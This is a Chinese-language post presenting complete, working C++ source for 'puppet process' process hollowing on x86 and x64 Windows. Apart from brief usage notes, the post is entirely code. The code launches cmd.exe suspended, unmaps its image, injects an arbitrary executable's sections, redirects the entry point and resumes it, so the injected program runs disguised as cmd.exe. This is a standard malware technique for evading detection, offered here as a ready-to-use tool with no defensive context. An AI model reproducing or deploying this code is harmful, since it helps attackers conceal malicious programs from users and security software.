进程隐藏之傀儡进程(支持x86和x64)
使用须知:
1.尽量使用单EXE就可以运行的程序。
2.进程环境还是所创建进程的环境,比如说目录还是以运行时的目录。
3.根据镂空对象程序位数,编译对应位数版本。
#include <iostream>
#include <stdio.h>
#include <windows.h>
typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
ULONG protect(ULONG characteristics)
{
static const ULONG mapping[]
= { PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, PAGE_EXECUTE_READ,
PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PAGE_EXECUTE_READWRITE };
return mapping[characteristics >> 29];
}
int main(int argc, char* argv[])
{
PROCESS_INFORMATION pi;
STARTUPINFO si = {};
DWORD lastError = 0;
si.cb = sizeof(si);
wchar_t str[]{ L"cmd.exe" };
CreateProcess(NULL, str, 0, 0, FALSE, CREATE_SUSPENDED, 0, 0, &si, &pi);
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_ALL;
GetThreadContext(pi.hThread, &context);
PVOID x;
#ifdef _WIN64
if (!ReadProcessMemory(pi.hProcess, (LPCVOID)(context.Rdx + (sizeof(SIZE_T) * 2)), &x, sizeof(PVOID), 0))
{
lastError = GetLastError();
printf("GetProcessImageBase fail LastError:%d\n", lastError);
};
#endif
#ifdef _X86_
if (!ReadProcessMemory(pi.hProcess, (LPCVOID)(context.Ebx + 0x8), &x, 4, 0))
{
lastError = GetLastError();
printf("GetProcessImageBase fail LastError:%d\n", lastError);
};
#endif
if (argc<2)
{
printf("Usage: %s <filepath>\n", argv[0]);
return 0;
}
std::string filePath = argv[1]; //filepath
HANDLE hFile = CreateFileA(filePath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
DWORD dwFileSize = GetFileSize(hFile, NULL);
LPVOID pAlloc1 = new BYTE[dwFileSize];
DWORD FileReadSize;
if (!ReadFile(hFile, pAlloc1, dwFileSize, &FileReadSize, NULL))
{
lastError = GetLastError();
printf("ReadFile fail LastError:%d\n", lastError);
return 0;
}
CloseHandle(hFile);
PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS((PCHAR)pAlloc1 + ((PIMAGE_DOS_HEADER)pAlloc1)->e_lfanew);
if (((SIZE_T)x <= nt->OptionalHeader.ImageBase + nt->OptionalHeader.SizeOfImage )&& ((SIZE_T)x >= nt->OptionalHeader.ImageBase - nt->OptionalHeader.SizeOfImage))
{
HMODULE hntdll = GetModuleHandleW(L"ntdll.dll");
if (hntdll)
{
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(hntdll, "NtUnmapViewOfSection");
NtUnmapViewOfSection(pi.hProcess, x);
}
else
{
lastError = GetLastError();
printf("GetModuleHandleW fail LastError:%d\n", lastError);
}
}
PVOID pAlloc2 = VirtualAllocEx(pi.hProcess,
PVOID(nt->OptionalHeader.ImageBase),
nt->OptionalHeader.SizeOfImage,
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!pAlloc2)
{
pAlloc2 = VirtualAllocEx(pi.hProcess,
NULL,
nt->OptionalHeader.SizeOfImage,
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!pAlloc2)
{
lastError = GetLastError();
printf("VirtualAllocEx fail LastError:%d\n", lastError);
return 0;
}
}
WriteProcessMemory(pi.hProcess, pAlloc2, pAlloc1, nt->OptionalHeader.SizeOfHeaders, 0);
PIMAGE_SECTION_HEADER sect = (IMAGE_SECTION_HEADER*)((char*)&nt->OptionalHeader + nt->FileHeader.SizeOfOptionalHeader);
for (ULONG i = 0; i < nt->FileHeader.NumberOfSections; i++) {
WriteProcessMemory(pi.hProcess,
(PCHAR)pAlloc2 + sect[i].VirtualAddress,
(PCHAR)pAlloc1 + sect[i].PointerToRawData,
sect[i].SizeOfRawData, 0);
ULONG x2;
VirtualProtectEx(pi.hProcess, (PCHAR)pAlloc2 + sect[i].VirtualAddress, sect[i].Misc.VirtualSize,
protect(sect[i].Characteristics), &x2);
}
#ifdef _WIN64
context.Rcx = (SIZE_T)((LPBYTE)pAlloc2 + nt->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(context.Rdx + (sizeof(SIZE_T) * 2)), &pAlloc2, sizeof(PVOID), 0);
#endif
#ifdef _X86_
context.Eax = (SIZE_T)((LPBYTE)pAlloc2 + nt->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(context.Ebx + 8), &pAlloc2, sizeof(PVOID), 0);
#endif
SetThreadContext(pi.hThread, &context);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
system("pause");
return 0;
}